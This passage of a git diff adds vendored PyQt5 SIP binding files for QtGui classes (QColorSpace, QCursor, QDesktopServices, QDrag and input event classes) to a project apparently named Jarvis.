deepskyblue; + const QColor dimgray; + const QColor dimgrey; + const QColor dodgerblue; + const QColor firebrick; + const QColor floralwhite; + const QColor forestgreen; + const QColor fuchsia; + const QColor gainsboro; + const QColor ghostwhite; + const QColor gold; + const QColor goldenrod; + const QColor gray; + const QColor green; + const QColor greenyellow; + const QColor grey; + const QColor honeydew; + const QColor hotpink; + const QColor indianred; + const QColor indigo; + const QColor ivory; + const QColor khaki; + const QColor lavender; + const QColor lavenderblush; + const QColor lawngreen; + const QColor lemonchiffon; + const QColor lightblue; + const QColor lightcoral; + const QColor lightcyan; + const QColor lightgoldenrodyellow; + const QColor lightgray; + const QColor lightgreen; + const QColor lightgrey; + const QColor lightpink; + const QColor lightsalmon; + const QColor lightseagreen; + const QColor lightskyblue; + const QColor lightslategray; + const QColor lightslategrey; + const QColor lightsteelblue; + const QColor lightyellow; + const QColor lime; + const QColor limegreen; + const QColor linen; + const QColor magenta; + const QColor maroon; + const QColor mediumaquamarine; + const QColor mediumblue; + const QColor mediumorchid; + const QColor mediumpurple; + const QColor mediumseagreen; + const QColor mediumslateblue; + const QColor mediumspringgreen; + const QColor mediumturquoise; + const QColor mediumvioletred; + const QColor midnightblue; + const QColor mintcream; + const QColor mistyrose; + const QColor moccasin; + const QColor navajowhite; + const QColor navy; + const QColor oldlace; + const QColor olive; + const QColor olivedrab; + const QColor orange; + const QColor orangered; + const QColor orchid; + const QColor palegoldenrod; + const QColor palegreen; + const QColor paleturquoise; + const QColor palevioletred; + const QColor papayawhip; + const QColor peachpuff; + const QColor peru; + const QColor pink; + const QColor plum; + const QColor powderblue; + const QColor purple; + const QColor red; + const QColor rosybrown; + const QColor royalblue; + const QColor saddlebrown; + const QColor salmon; + const QColor sandybrown; + const QColor seagreen; + const QColor seashell; + const QColor sienna; + const QColor silver; + const QColor skyblue; + const QColor slateblue; + const QColor slategray; + const QColor slategrey; + const QColor snow; + const QColor springgreen; + const QColor steelblue; + const QColor tan; + const QColor teal; + const QColor thistle; + const QColor tomato; + const QColor turquoise; + const QColor violet; + const QColor wheat; + const QColor white; + const QColor whitesmoke; + const QColor yellow; + const QColor yellowgreen; + }; +}; + +%End +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qcolorspace.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qcolorspace.sip new file mode 100644 index 00000000..04b7c18c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qcolorspace.sip @@ -0,0 +1,92 @@ +// qcolorspace.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_14_0 -) + +class QColorSpace +{ +%TypeHeaderCode +#include +%End + +public: + enum NamedColorSpace + { + SRgb, + SRgbLinear, + AdobeRgb, + DisplayP3, + ProPhotoRgb, + }; + + enum class Primaries + { + Custom, + SRgb, + AdobeRgb, + DciP3D65, + ProPhotoRgb, + }; + + enum class TransferFunction + { + Custom, + Linear, + Gamma, + SRgb, + ProPhotoRgb, + }; + + QColorSpace(); + QColorSpace(QColorSpace::NamedColorSpace namedColorSpace); + QColorSpace(QColorSpace::Primaries primaries, QColorSpace::TransferFunction fun, float gamma = 0.F); + QColorSpace(QColorSpace::Primaries primaries, float gamma); + QColorSpace(const QPointF &whitePoint, const QPointF &redPoint, const QPointF &greenPoint, const QPointF &bluePoint, QColorSpace::TransferFunction fun, float gamma = 0.F); + QColorSpace(const QColorSpace &colorSpace); + ~QColorSpace(); + void swap(QColorSpace &colorSpace /Constrained/); + QColorSpace::Primaries primaries() const; + QColorSpace::TransferFunction transferFunction() const; + float gamma() const; + void setTransferFunction(QColorSpace::TransferFunction transferFunction, float gamma = 0.F); + QColorSpace withTransferFunction(QColorSpace::TransferFunction transferFunction, float gamma = 0.F) const; + void setPrimaries(QColorSpace::Primaries primariesId); + void setPrimaries(const QPointF &whitePoint, const QPointF &redPoint, const QPointF &greenPoint, const QPointF &bluePoint); + bool isValid() const; + static QColorSpace fromIccProfile(const QByteArray &iccProfile); + QByteArray iccProfile() const; + QColorTransform transformationToColorSpace(const QColorSpace &colorspace) const; +}; + +%End +%If (Qt_5_14_0 -) +bool operator==(const QColorSpace &colorSpace1, const QColorSpace &colorSpace2); +%End +%If (Qt_5_14_0 -) +bool operator!=(const QColorSpace &colorSpace1, const QColorSpace &colorSpace2); +%End +%If (Qt_5_14_0 -) +QDataStream &operator<<(QDataStream &, const QColorSpace & /Constrained/) /ReleaseGIL/; +%End +%If (Qt_5_14_0 -) +QDataStream &operator>>(QDataStream &, QColorSpace & /Constrained/) /ReleaseGIL/; +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qcolortransform.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qcolortransform.sip new file mode 100644 index 00000000..8edb748c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qcolortransform.sip @@ -0,0 +1,41 @@ +// qcolortransform.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_14_0 -) + +class QColorTransform +{ +%TypeHeaderCode +#include +%End + +public: + QColorTransform(); + QColorTransform(const QColorTransform &colorTransform); + ~QColorTransform(); + void swap(QColorTransform &other /Constrained/); + QRgb map(QRgb argb) const; + QRgba64 map(QRgba64 rgba64) const; + QColor map(const QColor &color) const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qcursor.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qcursor.sip new file mode 100644 index 00000000..a3fbbfe6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qcursor.sip @@ -0,0 +1,87 @@ +// qcursor.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QCursor /TypeHintIn="Union[QCursor, Qt.CursorShape]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertToTypeCode +// SIP doesn't support automatic type convertors so we explicitly allow a +// Qt::CursorShape to be used whenever a QCursor is expected. + +if (sipIsErr == NULL) + return (PyObject_TypeCheck(sipPy, sipTypeAsPyTypeObject(sipType_Qt_CursorShape)) || + sipCanConvertToType(sipPy, sipType_QCursor, SIP_NO_CONVERTORS)); + +if (PyObject_TypeCheck(sipPy, sipTypeAsPyTypeObject(sipType_Qt_CursorShape))) +{ + *sipCppPtr = new QCursor((Qt::CursorShape)SIPLong_AsLong(sipPy)); + + return sipGetState(sipTransferObj); +} + +*sipCppPtr = reinterpret_cast(sipConvertToType(sipPy, sipType_QCursor, sipTransferObj, SIP_NO_CONVERTORS, 0, sipIsErr)); + +return 0; +%End + +public: + QCursor(); + QCursor(const QBitmap &bitmap, const QBitmap &mask, int hotX = -1, int hotY = -1); + QCursor(const QPixmap &pixmap, int hotX = -1, int hotY = -1); + QCursor(const QCursor &cursor); + QCursor(const QVariant &variant /GetWrapper/) /NoDerived/; +%MethodCode + if (a0->canConvert()) + sipCpp = new QCursor(a0->value()); + else + sipError = sipBadCallableArg(0, a0Wrapper); +%End + + ~QCursor(); + Qt::CursorShape shape() const; + void setShape(Qt::CursorShape newShape); + const QBitmap *bitmap() const; + const QBitmap *mask() const; + QPixmap pixmap() const; + QPoint hotSpot() const; + static QPoint pos(); + static void setPos(int x, int y); + static void setPos(const QPoint &p); + static QPoint pos(const QScreen *screen); + static void setPos(QScreen *screen, int x, int y); + static void setPos(QScreen *screen, const QPoint &p); +%If (Qt_5_7_0 -) + void swap(QCursor &other); +%End +}; + +QDataStream &operator<<(QDataStream &outS, const QCursor &cursor /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &inS, QCursor &cursor /Constrained/) /ReleaseGIL/; +%If (Qt_5_10_0 -) +bool operator==(const QCursor &lhs, const QCursor &rhs); +%End +%If (Qt_5_10_0 -) +bool operator!=(const QCursor &lhs, const QCursor &rhs); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qdesktopservices.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qdesktopservices.sip new file mode 100644 index 00000000..bab8a5ce --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qdesktopservices.sip @@ -0,0 +1,67 @@ +// qdesktopservices.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDesktopServices +{ +%TypeHeaderCode +#include +%End + +public: + static bool openUrl(const QUrl &url) /ReleaseGIL/; + static void setUrlHandler(const QString &scheme, QObject *receiver, const char *method); + static void setUrlHandler(const QString &scheme, SIP_PYCALLABLE method /TypeHint="Callable[[QUrl], None]"/); +%MethodCode + // Allow a callable that must be a slot of a QObject, although we never tell + // the user if it isn't. + sipMethodDef pm; + + if (sipGetMethod(a1, &pm)) + { + int iserr = 0; + QObject *receiver = reinterpret_cast(sipForceConvertToType( + pm.pm_self, sipType_QObject, NULL, SIP_NOT_NONE, NULL, &iserr)); + + if (!iserr) + { + PyObject *f_name_obj = PyObject_GetAttrString(pm.pm_function, "__name__"); + + if (f_name_obj) + { + // We only want a borrowed reference. + Py_DECREF(f_name_obj); + + const char *f_name = sipString_AsASCIIString(&f_name_obj); + + if (f_name) + { + QDesktopServices::setUrlHandler(*a0, receiver, f_name); + + Py_DECREF(f_name_obj); + } + } + } + } +%End + + static void unsetUrlHandler(const QString &scheme); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qdrag.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qdrag.sip new file mode 100644 index 00000000..b903d560 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qdrag.sip @@ -0,0 +1,61 @@ +// qdrag.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDrag : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QDrag(QObject *dragSource /TransferThis/); + virtual ~QDrag(); + Qt::DropAction exec(Qt::DropActions supportedActions = Qt::MoveAction) /PyName=exec_,ReleaseGIL/; +%If (Py_v3) + Qt::DropAction exec(Qt::DropActions supportedActions = Qt::MoveAction) /ReleaseGIL/; +%End + Qt::DropAction exec(Qt::DropActions supportedActions, Qt::DropAction defaultDropAction) /PyName=exec_,ReleaseGIL/; + Qt::DropAction exec(Qt::DropActions supportedActions, Qt::DropAction defaultDropAction) /ReleaseGIL/; + void setMimeData(QMimeData *data /Transfer/); + QMimeData *mimeData() const; + void setPixmap(const QPixmap &); + QPixmap pixmap() const; + void setHotSpot(const QPoint &hotspot); + QPoint hotSpot() const; + QObject *source() const; + QObject *target() const; + void setDragCursor(const QPixmap &cursor, Qt::DropAction action); + +signals: + void actionChanged(Qt::DropAction action); + void targetChanged(QObject *newTarget); + +public: + QPixmap dragCursor(Qt::DropAction action) const; + Qt::DropActions supportedActions() const; + Qt::DropAction defaultAction() const; +%If (Qt_5_7_0 -) +%If (WS_X11 || WS_WIN) + static void cancel(); +%End +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qevent.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qevent.sip new file mode 100644 index 00000000..8fd1070d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qevent.sip @@ -0,0 +1,942 @@ +// qevent.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QInputEvent : QEvent /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + switch (sipCpp->type()) + { + case QEvent::ActionAdded: + case QEvent::ActionChanged: + case QEvent::ActionRemoved: + sipType = sipType_QActionEvent; + break; + + case QEvent::Close: + sipType = sipType_QCloseEvent; + break; + + case QEvent::ContextMenu: + sipType = sipType_QContextMenuEvent; + break; + + case QEvent::DragEnter: + sipType = sipType_QDragEnterEvent; + break; + + case QEvent::DragLeave: + sipType = sipType_QDragLeaveEvent; + break; + + case QEvent::DragMove: + sipType = sipType_QDragMoveEvent; + break; + + case QEvent::Drop: + sipType = sipType_QDropEvent; + break; + + case QEvent::Enter: + sipType = sipType_QEnterEvent; + break; + + case QEvent::FileOpen: + sipType = sipType_QFileOpenEvent; + break; + + case QEvent::FocusIn: + case QEvent::FocusOut: + sipType = sipType_QFocusEvent; + break; + + case QEvent::Hide: + sipType = sipType_QHideEvent; + break; + + case QEvent::HoverEnter: + case QEvent::HoverLeave: + case QEvent::HoverMove: + sipType = sipType_QHoverEvent; + break; + + case QEvent::IconDrag: + sipType = sipType_QIconDragEvent; + break; + + case QEvent::InputMethod: + sipType = sipType_QInputMethodEvent; + break; + + case QEvent::KeyPress: + case QEvent::KeyRelease: + case QEvent::ShortcutOverride: + sipType = sipType_QKeyEvent; + break; + + case QEvent::MouseButtonDblClick: + case QEvent::MouseButtonPress: + case QEvent::MouseButtonRelease: + case QEvent::MouseMove: + sipType = sipType_QMouseEvent; + break; + + case QEvent::Move: + sipType = sipType_QMoveEvent; + break; + + case QEvent::Paint: + sipType = sipType_QPaintEvent; + break; + + case QEvent::Resize: + sipType = sipType_QResizeEvent; + break; + + case QEvent::Shortcut: + sipType = sipType_QShortcutEvent; + break; + + case QEvent::Show: + sipType = sipType_QShowEvent; + break; + + case QEvent::StatusTip: + sipType = sipType_QStatusTipEvent; + break; + + case QEvent::TabletMove: + case QEvent::TabletPress: + case QEvent::TabletRelease: + case QEvent::TabletEnterProximity: + case QEvent::TabletLeaveProximity: + sipType = sipType_QTabletEvent; + break; + + case QEvent::ToolTip: + case QEvent::WhatsThis: + sipType = sipType_QHelpEvent; + break; + + case QEvent::WhatsThisClicked: + sipType = sipType_QWhatsThisClickedEvent; + break; + + case QEvent::Wheel: + sipType = sipType_QWheelEvent; + break; + + case QEvent::WindowStateChange: + sipType = sipType_QWindowStateChangeEvent; + break; + + case QEvent::TouchBegin: + case QEvent::TouchUpdate: + case QEvent::TouchEnd: + case QEvent::TouchCancel: + sipType = sipType_QTouchEvent; + break; + + case QEvent::InputMethodQuery: + sipType = sipType_QInputMethodQueryEvent; + break; + + case QEvent::Expose: + sipType = sipType_QExposeEvent; + break; + + case QEvent::ScrollPrepare: + sipType = sipType_QScrollPrepareEvent; + break; + + case QEvent::Scroll: + sipType = sipType_QScrollEvent; + break; + + #if QT_VERSION >= 0x050200 + case QEvent::NativeGesture: + sipType = sipType_QNativeGestureEvent; + break; + #endif + + #if QT_VERSION >= 0x050500 + case QEvent::PlatformSurface: + sipType = sipType_QPlatformSurfaceEvent; + break; + #endif + + default: + sipType = 0; + } +%End + +public: + virtual ~QInputEvent(); + Qt::KeyboardModifiers modifiers() const; + ulong timestamp() const; + void setTimestamp(ulong atimestamp); +}; + +class QMouseEvent : QInputEvent +{ +%TypeHeaderCode +#include +%End + +public: + QMouseEvent(QEvent::Type type, const QPointF &pos, Qt::MouseButton button, Qt::MouseButtons buttons, Qt::KeyboardModifiers modifiers); + QMouseEvent(QEvent::Type type, const QPointF &pos, const QPointF &globalPos, Qt::MouseButton button, Qt::MouseButtons buttons, Qt::KeyboardModifiers modifiers); + QMouseEvent(QEvent::Type type, const QPointF &pos, const QPointF &windowPos, const QPointF &globalPos, Qt::MouseButton button, Qt::MouseButtons buttons, Qt::KeyboardModifiers modifiers); +%If (Qt_5_6_0 -) + QMouseEvent(QEvent::Type type, const QPointF &localPos, const QPointF &windowPos, const QPointF &screenPos, Qt::MouseButton button, Qt::MouseButtons buttons, Qt::KeyboardModifiers modifiers, Qt::MouseEventSource source); +%End + virtual ~QMouseEvent(); + QPoint pos() const; + QPoint globalPos() const; + int x() const; + int y() const; + int globalX() const; + int globalY() const; + Qt::MouseButton button() const; + Qt::MouseButtons buttons() const; + const QPointF &localPos() const; + const QPointF &windowPos() const; + const QPointF &screenPos() const; +%If (Qt_5_3_0 -) + Qt::MouseEventSource source() const; +%End +%If (Qt_5_3_0 -) + Qt::MouseEventFlags flags() const; +%End +}; + +class QHoverEvent : QInputEvent +{ +%TypeHeaderCode +#include +%End + +public: + QHoverEvent(QEvent::Type type, const QPointF &pos, const QPointF &oldPos, Qt::KeyboardModifiers modifiers = Qt::NoModifier); + virtual ~QHoverEvent(); + QPoint pos() const; + QPoint oldPos() const; + const QPointF &posF() const; + const QPointF &oldPosF() const; +}; + +class QWheelEvent : QInputEvent +{ +%TypeHeaderCode +#include +%End + +public: + QWheelEvent(const QPointF &pos, const QPointF &globalPos, QPoint pixelDelta, QPoint angleDelta, int qt4Delta, Qt::Orientation qt4Orientation, Qt::MouseButtons buttons, Qt::KeyboardModifiers modifiers); +%If (Qt_5_2_0 -) + QWheelEvent(const QPointF &pos, const QPointF &globalPos, QPoint pixelDelta, QPoint angleDelta, int qt4Delta, Qt::Orientation qt4Orientation, Qt::MouseButtons buttons, Qt::KeyboardModifiers modifiers, Qt::ScrollPhase phase); +%End +%If (Qt_5_5_0 -) + QWheelEvent(const QPointF &pos, const QPointF &globalPos, QPoint pixelDelta, QPoint angleDelta, int qt4Delta, Qt::Orientation qt4Orientation, Qt::MouseButtons buttons, Qt::KeyboardModifiers modifiers, Qt::ScrollPhase phase, Qt::MouseEventSource source); +%End +%If (Qt_5_7_0 -) + QWheelEvent(const QPointF &pos, const QPointF &globalPos, QPoint pixelDelta, QPoint angleDelta, int qt4Delta, Qt::Orientation qt4Orientation, Qt::MouseButtons buttons, Qt::KeyboardModifiers modifiers, Qt::ScrollPhase phase, Qt::MouseEventSource source, bool inverted); +%End +%If (Qt_5_12_0 -) + QWheelEvent(QPointF pos, QPointF globalPos, QPoint pixelDelta, QPoint angleDelta, Qt::MouseButtons buttons, Qt::KeyboardModifiers modifiers, Qt::ScrollPhase phase, bool inverted, Qt::MouseEventSource source = Qt::MouseEventNotSynthesized); +%End + virtual ~QWheelEvent(); + QPoint pos() const; + QPoint globalPos() const; + int x() const; + int y() const; + int globalX() const; + int globalY() const; + Qt::MouseButtons buttons() const; + QPoint pixelDelta() const; + QPoint angleDelta() const; + const QPointF &posF() const; + const QPointF &globalPosF() const; +%If (Qt_5_2_0 -) + Qt::ScrollPhase phase() const; +%End +%If (Qt_5_5_0 -) + Qt::MouseEventSource source() const; +%End +%If (Qt_5_7_0 -) + bool inverted() const; +%End +%If (Qt_5_14_0 -) + QPointF position() const; +%End +%If (Qt_5_14_0 -) + QPointF globalPosition() const; +%End +}; + +class QTabletEvent : QInputEvent +{ +%TypeHeaderCode +#include +%End + +public: + enum TabletDevice + { + NoDevice, + Puck, + Stylus, + Airbrush, + FourDMouse, + XFreeEraser, + RotationStylus, + }; + + enum PointerType + { + UnknownPointer, + Pen, + Cursor, + Eraser, + }; + +%If (Qt_5_4_0 -) + QTabletEvent(QEvent::Type t, const QPointF &pos, const QPointF &globalPos, int device, int pointerType, qreal pressure, int xTilt, int yTilt, qreal tangentialPressure, qreal rotation, int z, Qt::KeyboardModifiers keyState, qint64 uniqueID, Qt::MouseButton button, Qt::MouseButtons buttons); +%End + QTabletEvent(QEvent::Type t, const QPointF &pos, const QPointF &globalPos, int device, int pointerType, qreal pressure, int xTilt, int yTilt, qreal tangentialPressure, qreal rotation, int z, Qt::KeyboardModifiers keyState, qint64 uniqueID); + virtual ~QTabletEvent(); + QPoint pos() const; + QPoint globalPos() const; + int x() const; + int y() const; + int globalX() const; + int globalY() const; + qreal hiResGlobalX() const; + qreal hiResGlobalY() const; + QTabletEvent::TabletDevice device() const; + QTabletEvent::PointerType pointerType() const; + qint64 uniqueId() const; + qreal pressure() const; + int z() const; + qreal tangentialPressure() const; + qreal rotation() const; + int xTilt() const; + int yTilt() const; + const QPointF &posF() const; + const QPointF &globalPosF() const; +%If (Qt_5_4_0 -) + Qt::MouseButton button() const; +%End +%If (Qt_5_4_0 -) + Qt::MouseButtons buttons() const; +%End +%If (Qt_5_15_0 -) + QTabletEvent::TabletDevice deviceType() const; +%End +}; + +class QKeyEvent : QInputEvent +{ +%TypeHeaderCode +#include +%End + +public: + QKeyEvent(QEvent::Type type, int key, Qt::KeyboardModifiers modifiers, quint32 nativeScanCode, quint32 nativeVirtualKey, quint32 nativeModifiers, const QString &text = QString(), bool autorep = false, ushort count = 1); + QKeyEvent(QEvent::Type type, int key, Qt::KeyboardModifiers modifiers, const QString &text = QString(), bool autorep = false, ushort count = 1); + virtual ~QKeyEvent(); + int key() const; + Qt::KeyboardModifiers modifiers() const; + QString text() const; + bool isAutoRepeat() const; + int count() const /__len__/; + bool matches(QKeySequence::StandardKey key) const; + quint32 nativeModifiers() const; + quint32 nativeScanCode() const; + quint32 nativeVirtualKey() const; +}; + +class QFocusEvent : QEvent +{ +%TypeHeaderCode +#include +%End + +public: + QFocusEvent(QEvent::Type type, Qt::FocusReason reason = Qt::OtherFocusReason); + virtual ~QFocusEvent(); + bool gotFocus() const; + bool lostFocus() const; + Qt::FocusReason reason() const; +}; + +class QPaintEvent : QEvent +{ +%TypeHeaderCode +#include +%End + +public: + explicit QPaintEvent(const QRegion &paintRegion); + explicit QPaintEvent(const QRect &paintRect); + virtual ~QPaintEvent(); + const QRect &rect() const; + const QRegion ®ion() const; +}; + +class QMoveEvent : QEvent +{ +%TypeHeaderCode +#include +%End + +public: + QMoveEvent(const QPoint &pos, const QPoint &oldPos); + virtual ~QMoveEvent(); + const QPoint &pos() const; + const QPoint &oldPos() const; +}; + +class QResizeEvent : QEvent +{ +%TypeHeaderCode +#include +%End + +public: + QResizeEvent(const QSize &size, const QSize &oldSize); + virtual ~QResizeEvent(); + const QSize &size() const; + const QSize &oldSize() const; +}; + +class QCloseEvent : QEvent +{ +%TypeHeaderCode +#include +%End + +public: + QCloseEvent(); + virtual ~QCloseEvent(); +}; + +class QIconDragEvent : QEvent +{ +%TypeHeaderCode +#include +%End + +public: + QIconDragEvent(); + virtual ~QIconDragEvent(); +}; + +class QShowEvent : QEvent +{ +%TypeHeaderCode +#include +%End + +public: + QShowEvent(); + virtual ~QShowEvent(); +}; + +class QHideEvent : QEvent +{ +%TypeHeaderCode +#include +%End + +public: + QHideEvent(); + virtual ~QHideEvent(); +}; + +class QContextMenuEvent : QInputEvent +{ +%TypeHeaderCode +#include +%End + +public: + enum Reason + { + Mouse, + Keyboard, + Other, + }; + + QContextMenuEvent(QContextMenuEvent::Reason reason, const QPoint &pos, const QPoint &globalPos, Qt::KeyboardModifiers modifiers); + QContextMenuEvent(QContextMenuEvent::Reason reason, const QPoint &pos, const QPoint &globalPos); + QContextMenuEvent(QContextMenuEvent::Reason reason, const QPoint &pos); + virtual ~QContextMenuEvent(); + int x() const; + int y() const; + int globalX() const; + int globalY() const; + const QPoint &pos() const; + const QPoint &globalPos() const; + QContextMenuEvent::Reason reason() const; +}; + +class QInputMethodEvent : QEvent +{ +%TypeHeaderCode +#include +%End + +public: + enum AttributeType + { + TextFormat, + Cursor, + Language, + Ruby, + Selection, + }; + + class Attribute + { +%TypeHeaderCode +#include +%End + + public: + Attribute(QInputMethodEvent::AttributeType t, int s, int l, QVariant val); +%If (Qt_5_8_0 -) + Attribute(QInputMethodEvent::AttributeType typ, int s, int l); +%End + QInputMethodEvent::AttributeType type; + int start; + int length; + QVariant value; + }; + + QInputMethodEvent(); + QInputMethodEvent(const QString &preeditText, const QList &attributes); + QInputMethodEvent(const QInputMethodEvent &other); +%If (Qt_5_6_0 -) + virtual ~QInputMethodEvent(); +%End + void setCommitString(const QString &commitString, int from = 0, int length = 0); + const QList &attributes() const; + const QString &preeditString() const; + const QString &commitString() const; + int replacementStart() const; + int replacementLength() const; +}; + +class QInputMethodQueryEvent : QEvent +{ +%TypeHeaderCode +#include +%End + +public: + explicit QInputMethodQueryEvent(Qt::InputMethodQueries queries); + virtual ~QInputMethodQueryEvent(); + Qt::InputMethodQueries queries() const; + void setValue(Qt::InputMethodQuery query, const QVariant &value); + QVariant value(Qt::InputMethodQuery query) const; +}; + +class QDropEvent : QEvent +{ +%TypeHeaderCode +#include +%End + +public: + QDropEvent(const QPointF &pos, Qt::DropActions actions, const QMimeData *data, Qt::MouseButtons buttons, Qt::KeyboardModifiers modifiers, QEvent::Type type = QEvent::Drop); + virtual ~QDropEvent(); + QPoint pos() const; + const QPointF &posF() const; + Qt::MouseButtons mouseButtons() const; + Qt::KeyboardModifiers keyboardModifiers() const; + Qt::DropActions possibleActions() const; + Qt::DropAction proposedAction() const; + void acceptProposedAction(); + Qt::DropAction dropAction() const; + void setDropAction(Qt::DropAction action); + QObject *source() const; + const QMimeData *mimeData() const; +}; + +class QDragMoveEvent : QDropEvent +{ +%TypeHeaderCode +#include +%End + +public: + QDragMoveEvent(const QPoint &pos, Qt::DropActions actions, const QMimeData *data, Qt::MouseButtons buttons, Qt::KeyboardModifiers modifiers, QEvent::Type type = QEvent::DragMove); + virtual ~QDragMoveEvent(); + QRect answerRect() const; + void accept(); + void ignore(); + void accept(const QRect &r); + void ignore(const QRect &r); +}; + +class QDragEnterEvent : QDragMoveEvent +{ +%TypeHeaderCode +#include +%End + +public: + QDragEnterEvent(const QPoint &pos, Qt::DropActions actions, const QMimeData *data, Qt::MouseButtons buttons, Qt::KeyboardModifiers modifiers); + virtual ~QDragEnterEvent(); +}; + +class QDragLeaveEvent : QEvent +{ +%TypeHeaderCode +#include +%End + +public: + QDragLeaveEvent(); + virtual ~QDragLeaveEvent(); +}; + +class QHelpEvent : QEvent +{ +%TypeHeaderCode +#include +%End + +public: + QHelpEvent(QEvent::Type type, const QPoint &pos, const QPoint &globalPos); + virtual ~QHelpEvent(); + int x() const; + int y() const; + int globalX() const; + int globalY() const; + const QPoint &pos() const; + const QPoint &globalPos() const; +}; + +class QStatusTipEvent : QEvent +{ +%TypeHeaderCode +#include +%End + +public: + explicit QStatusTipEvent(const QString &tip); + virtual ~QStatusTipEvent(); + QString tip() const; +}; + +class QWhatsThisClickedEvent : QEvent +{ +%TypeHeaderCode +#include +%End + +public: + explicit QWhatsThisClickedEvent(const QString &href); + virtual ~QWhatsThisClickedEvent(); + QString href() const; +}; + +class QActionEvent : QEvent +{ +%TypeHintCode +from PyQt5.QtWidgets import QAction +%End + 